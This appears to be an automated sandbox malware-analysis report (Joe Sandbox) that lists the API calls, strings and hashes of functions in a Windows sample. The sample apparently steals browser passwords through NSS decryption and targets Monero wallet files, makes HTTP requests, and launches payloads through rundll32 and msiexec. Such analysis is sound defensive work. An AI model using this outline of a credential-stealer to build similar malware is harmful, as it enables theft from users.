Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gil$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-419400857
Opcode ID: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction ID: 4d5ed95c3f85b7ad69514f0f7f4faffaf1ecb4443f1a1c64794ac320c7113422
Opcode Fuzzy Hash: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction Fuzzy Hash: EA6125B0604346AFEB108F62CC89BA57BB8EF87348F148458F5449B641D7F98945CFAE

Function 0077C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0077C9A5

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,014BC8B8,00000000,?,0079144C,00000000,?,?), ref: 0077CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0077CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0077CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0077CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0077CAD9
StrStrA.SHLWAPI(?,014BC900,00790B52), ref: 0077CAF7
StrStrA.SHLWAPI(00000000,014BC930), ref: 0077CB1E
StrStrA.SHLWAPI(?,014BD4F8,00000000,?,00791458,00000000,?,00000000,00000000,?,014B8B30,00000000,?,00791454,00000000,?), ref: 0077CCA2
StrStrA.SHLWAPI(00000000,014BD798), ref: 0077CCB9

Part of subcall function 0077C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0077C871
Part of subcall function 0077C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0077C87C
Part of subcall function 0077C820: PK11_GetInternalKeySlot.NSS3 ref: 0077C88A
Part of subcall function 0077C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0077C8A5
Part of subcall function 0077C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0077C8EB
Part of subcall function 0077C820: PK11_FreeSlot.NSS3(?), ref: 0077C961

StrStrA.SHLWAPI(?,014BD798,00000000,?,0079145C,00000000,?,00000000,014B8B00), ref: 0077CD5A
StrStrA.SHLWAPI(00000000,014B8850), ref: 0077CD71

Part of subcall function 0077C820: lstrcat.KERNEL32(?,00790B46), ref: 0077C943
Part of subcall function 0077C820: lstrcat.KERNEL32(?,00790B47), ref: 0077C957
Part of subcall function 0077C820: lstrcat.KERNEL32(?,00790B4E), ref: 0077C978

lstrlen.KERNEL32(00000000), ref: 0077CE44
CloseHandle.KERNEL32(00000000), ref: 0077CE9C
NSS_Shutdown.NSS3 ref: 0077CEAA

Strings

, xrefs: 0077C9C6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: d0f7bc78cf6c3c8da65bda33d56e4dc7dc39b72aa3e662cf9c92e85b4bccf5ef
Instruction ID: a3f4258e11db266d1eea9cd2202e62e59216bd65bdd4aafa1a80d581a591b8a3
Opcode Fuzzy Hash: d0f7bc78cf6c3c8da65bda33d56e4dc7dc39b72aa3e662cf9c92e85b4bccf5ef
Instruction Fuzzy Hash: CFE10D71854108FBEB15FBA4DD99FEEB778AF14300F40416AF10666191EF387A4ACB62

Function 00789010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0078906C

Strings

image/jpeg, xrefs: 00789136

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 4eecc54c4807dd5f95246c689f331d35b8cc2a5279a67670ed9729d921d49c24
Instruction ID: 39587fe97a37b97f85a0cfa806bf996ba601f39f05b6a73c594c48302ee2c972
Opcode Fuzzy Hash: 4eecc54c4807dd5f95246c689f331d35b8cc2a5279a67670ed9729d921d49c24
Instruction Fuzzy Hash: 19711F71A54208EBDB04EFE4DD89FEDB7B9BF48310F148208F615A7290DB38A905DB61

Function 6C66D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D52A
GetCurrentThreadId.KERNEL32 ref: 6C66D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D55F
free.MOZGLUE(00000000), ref: 6C66D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C66D5D3
GetCurrentThreadId.KERNEL32 ref: 6C66D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D652
GetCurrentThreadId.KERNEL32 ref: 6C66D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D6A2

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction ID: d79255dce9c98b5e2b06ae9fd952ba4534b8f001084e33459a10157f42c2f8a5
Opcode Fuzzy Hash: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction Fuzzy Hash: 8E518F71604706DFC704DF36C484A9ABBF5FF89358F10862EE94A87B10DB30A945CB99

Function 007817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 007817C5
ExitProcess.KERNEL32 ref: 007817D1

Strings

block, xrefs: 007817B7

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: be8b56b739b9c8a257f7b73c56b7022a4cb5801cd4c04f3c11863a9766bfc68f
Instruction ID: 04b734a545245cb21cc0d868c948de63546ba2721c287760a6546956607c43d9
Opcode Fuzzy Hash: be8b56b739b9c8a257f7b73c56b7022a4cb5801cd4c04f3c11863a9766bfc68f
Instruction Fuzzy Hash: CC51ACB4B54209EFDB04EFA5D998FBE77B9BF44304F108049E406A7240D778E952DBA2

Function 00782E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

ShellExecuteEx.SHELL32(0000003C), ref: 007831C5
ShellExecuteEx.SHELL32(0000003C), ref: 0078335D
ShellExecuteEx.SHELL32(0000003C), ref: 007834EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00783332
C:\Windows\system32\msiexec.exe, xrefs: 007834BF
/passive, xrefs: 0078345B
/i ", xrefs: 007833E4
.msi, xrefs: 00783398
"" , xrefs: 0078309A
.dll, xrefs: 007831E5
<, xrefs: 00783490

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: fcf19d440fb4401fb6b4acae00a13793b96c3b079f5b6e744147e694ee6d8b9f
Instruction ID: d98b5ba5c69280a65c80c9ab3fc3581cca03d572ef0bc3d57ddc9a183091cb67
Opcode Fuzzy Hash: fcf19d440fb4401fb6b4acae00a13793b96c3b079f5b6e744147e694ee6d8b9f
Instruction Fuzzy Hash: 1512EF71850118EAEB15FBA0DC9AFDDB778AF14300F50416AE50676191EF7C2B4ACFA2

Function 6C65EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65EC8C

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65ECA1
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C65ECC5
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C65ED19
CloseHandle.KERNEL32(?), ref: 6C65ED28
free.MOZGLUE(00000000), ref: 6C65ED2F
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C65EC94

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction ID: ab96313292ab70301ed49f640247ea750423c04f926e0329f683603b4d355a7e
Opcode Fuzzy Hash: 1fd2b660d2782d258fdffcba7d6e0f66d5762fcb4483389d307a64d4864f112c
Instruction Fuzzy Hash: 55214771600106ABCF008F25DC44AAA7779EF8636CF604211FC1987741DB38AC26CBAE

Function 6C63C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C63C5A3
WideCharToMultiByte.KERNEL32 ref: 6C63C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C63C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C63CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63CAA5

Strings

(null), xrefs: 6C63C596
0, xrefs: 6C63D30A

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction ID: 9276e78ffbcc3ccae868c0e4bd506c08792b423614b2714a17566b2da54dbf96
Opcode Fuzzy Hash: 50ad2932f357abd8a1dfbe630a058e48f50ee151b1a435cf3198294b1bec1ef5
Instruction Fuzzy Hash: E2A1A130608361AFDB00DF29C59475ABBE1AFCA748F04A91DF98A97641D731DC05CB5A

Function 007852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 00776280: InternetOpenA.WININET(00790DFE,00000001,00000000,00000000,00000000), ref: 007762E1
Part of subcall function 00776280: StrCmpCA.SHLWAPI(?,014BE480), ref: 00776303
Part of subcall function 00776280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00776335
Part of subcall function 00776280: HttpOpenRequestA.WININET(00000000,GET,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 00776385
Part of subcall function 00776280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007763BF
Part of subcall function 00776280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007763D1

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00785318
lstrlen.KERNEL32(00000000), ref: 0078532F

Part of subcall function 00788E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00785364
lstrlen.KERNEL32(00000000), ref: 00785383
lstrlen.KERNEL32(00000000), ref: 007853AE

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Strings

ERROR, xrefs: 007854A9
ERROR, xrefs: 00785432
ERROR, xrefs: 0078530A
ERROR, xrefs: 0078546F
ERROR, xrefs: 007853B9

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
